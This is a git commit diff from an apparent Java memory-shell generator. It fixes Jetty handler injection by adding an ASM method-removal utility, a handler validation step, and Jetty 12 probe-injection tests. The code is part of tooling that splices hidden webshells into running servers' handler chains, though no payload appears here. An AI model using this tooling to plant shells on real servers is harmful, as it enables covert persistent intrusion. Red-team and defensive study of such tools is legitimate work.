fix: wrong jetty handler will disrupt service

This commit is contained in:
ReaJason
2025-12-08 01:43:41 +08:00
parent b725ca3e67
commit f1d42a9b3c
7 changed files with 87 additions and 4 deletions
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.asm.ClassSuperClassUtils;
import com.reajason.javaweb.asm.MethodUtils;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
@@ -31,13 +32,23 @@ public class JettyHandlerPostProcessor implements Processor<byte[]> {
switch (serverVersion) {
case "6":
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
break;
case "7+":
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
break;
case "12":
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
break;
}
}
@@ -59,6 +59,7 @@ public class JettyHandlerInjector {
if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
return;
}
validateHandler(handler);
setFieldValue(handler, "nextHandler", nextHandler);
setFieldValue(handler, "_server", server);
@@ -77,6 +78,20 @@ public class JettyHandlerInjector {
}
}
public void validateHandler(Object shell) throws Exception {
Class<?> handlerClass = shell.getClass().getSuperclass();
Method rightHandleMethod = null;
for (Method method : handlerClass.getMethods()) {
if (method.getName().equals("handle")) {
rightHandleMethod = method;
}
}
shell.getClass().getMethod(
"handle",
rightHandleMethod.getParameterTypes()
);
}
@Override
public String toString() {
return msg;
@@ -85,6 +85,6 @@ public class Jetty12ee10ContainerTest {
ShellType.JAKARTA_HANDLER})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17);
}
}
@@ -86,6 +86,6 @@ public class Jetty12ee11ContainerTest {
ShellType.JAKARTA_HANDLER})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17);
}
}
@@ -83,6 +83,6 @@ public class Jetty12ee8ContainerTest {
ShellType.HANDLER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17);
}
}
@@ -85,6 +85,6 @@ public class Jetty12ee9ContainerTest {
ShellType.JAKARTA_HANDLER})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17);
}
}
@@ -0,0 +1,57 @@
package com.reajason.javaweb.asm;
import org.objectweb.asm.*;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class MethodUtils {
public static byte[] removeMethod(byte[] bytes, String methodName) {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(0);
RemoveMethodAdapter adapter = new RemoveMethodAdapter(cw, methodName);
cr.accept(adapter, 0);
return cw.toByteArray();
}
public static byte[] removeMethodByMethodDescriptor(byte[] bytes, String methodName, String methodDescriptor) {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(0);
RemoveMethodAdapter adapter = new RemoveMethodAdapter(cw, methodName, methodDescriptor);
cr.accept(adapter, 0);
return cw.toByteArray();
}
static class RemoveMethodAdapter extends ClassVisitor {
private String methodName;
private String methodDescriptor;
public RemoveMethodAdapter(ClassVisitor cv, String methodName) {
super(Opcodes.ASM9, cv);
this.methodName = methodName;
}
public RemoveMethodAdapter(ClassVisitor cv, String methodName, String methodDescriptor) {
super(Opcodes.ASM9, cv);
this.methodName = methodName;
this.methodDescriptor = methodDescriptor;
}
@Override
public MethodVisitor visitMethod(
int access, String name, String descriptor,
String signature, String[] exceptions) {
if (methodDescriptor != null) {
if (methodDescriptor.equals(descriptor) && methodName.equals(name)) {
return null;
}
} else if (methodName.equals(name)) {
return null;
}
return super.visitMethod(access, name, descriptor, signature, exceptions);
}
}
}